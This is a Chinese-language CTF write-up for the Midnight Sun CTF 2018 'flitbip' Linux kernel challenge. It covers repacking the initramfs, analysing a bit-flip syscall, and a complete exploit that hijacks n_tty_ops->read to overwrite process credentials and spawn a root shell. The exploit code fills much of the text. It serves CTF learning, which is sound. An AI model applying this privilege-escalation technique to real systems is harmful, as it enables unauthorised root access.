Linux内核pwn——劫持n_tty_ops指针

0x001 前言

以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析，今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。

题目下载：

链接: https://pan.baidu.com/s/1_DcmU8JzseiiOA7mkYQu8Q 密码:kfc8

0x002 干掉定时logout

由于内核运行一断时间后便会退出，需要解开文件系统，做一定修改

mkdir core
mv ./core.cpio ./core/
cd core
cpio -idmv < initrd
rm initrd

一般的，我们会去看 init 文件，但貌似并没有问题

最后，我找到了 /home/flitbip 下的 .profile 文件，将第1、2行注释掉

为了后续调试方便，我在根目录新建一个 tmp 文件夹，在 init 作如下改动，让启动的内核具有root权限

重新打包

find . -print0 | cpio --null -ov --format=newc > core.cpio
mv ./core.cpio ..
rm -rf ../core

0x003 分析

由init看得出来，内核启动过程并未加载任何与题目相关的内核扩展模块，但 src 目录下有一个 flitbip.c 文件

这里定义了一个系统调用(系统调用号为 333 )，会将参数 addr 的第 bit 位翻转

留意到 flit_cout 必须要小于 MAXFLIT = 1 ，否则便会退出

绕过方法：

flit_cout 是有符号长整型，调用一次系统调用 flitbip ，将 flit_cout 最高位翻转，此时 flit_cout 为负数。

long flitbip(long *addr, long bit)
{
    __asm__("mov rax, 333;"
            "syscall;"
    );
}

int main()
{
    ...
    flitbip(flit_count, 63);
    ...
}

先调试看看是否已经绕过，用 extract-vmlinux 提取内核执行文件

当我看到这样的情况，我是一脸懵逼的

估计是generic版的内核，好吧…只能去 /proc/kallsyms 找了

/tmp # cat /proc/kallsyms | grep flit_count
ffffffff818f4f78 B flit_count

EXP执行前

EXP执行后，看样子 flit_count 翻转成负数了

下面考虑如何提权：

内核中存在 n_tty_ops 这个全局指针，其指向的这片地存储着许多函数指针，我们想办法将该处的函数指针改成我们 root 函数的地址，再触发该函数。

n_tty_ops 指向的函数指针

最后，我们利用含有漏洞333号系统调用，将 n_tty_read 劫持成 root 函数提权， n_tty_read 存储在 *n_tty_ops + 0x30

0x004 ROOT

由于没有开aslr，直接将 n_tty_ops 等地址写死即可

完整的EXP

// gcc solved.c -static -masm=intel -g -o solved
#include <stdio.h>
#include <stdlib.h>

unsigned long *flit_count = 0xffffffff818f4f78;
unsigned long *n_tty_read = 0xffffffff810c8510;
unsigned long *n_tty_ops = 0xffffffff8183e320;
unsigned long *current_task = 0xffffffff8182e040;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov %0, cs;"
            "mov %1, ss;"
            "mov %2, rsp;"
            "pushfq;"
            "popq %3;"
            :"=r"(user_cs),"=r"(user_ss),"=r"(user_sp),"=r"(user_rflags)
            :
            :"memory"
    );
    puts("[*]status has been saved.");
}

void binsh()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

long flitbip(long *addr, long bit)
{
    __asm__("mov rax, 333;"
            "syscall;"
    );
}

void root()
{
    int *cred = *(unsigned long *)((char *)*current_task + 0x3c0);
    for(int i = 1; i < 9; i++)
        cred[i] = 0;

    *(unsigned long *)((char *)n_tty_ops + 0x30) = (unsigned long)n_tty_read;

    __asm__("swapgs;"
            "mov rax, %0;"
            "push rax;"
            "mov rax, %1;"
            "push rax;"
            "mov rax, %2;"
            "push rax;"
            "mov rax, %3;"
            "push rax;"
            "mov rax, %4;"
            "push rax;"
            "iretq;"
            :
            :"r"(user_ss),"r"(user_sp),"r"(user_rflags),"r"(user_cs),"r"(binsh)
            :"memory"
    );
}

int main()
{
    save_status();
    printf("user_sp addr: %pn", user_sp);

    flitbip(flit_count, 63);

    unsigned long xor = (unsigned long)root ^ (unsigned long)n_tty_read;
    printf("root addr: %lxn", root);
    printf("root xor: %lxn", xor);
    for(unsigned long i = 0; i < 64; i++)
    {
        if(xor & (1ULL << (i)))
            flitbip((char *)n_tty_ops + 0x30, i);
    }

    scanf("%c", user_sp);
    while(1);

    return 0;
}

root~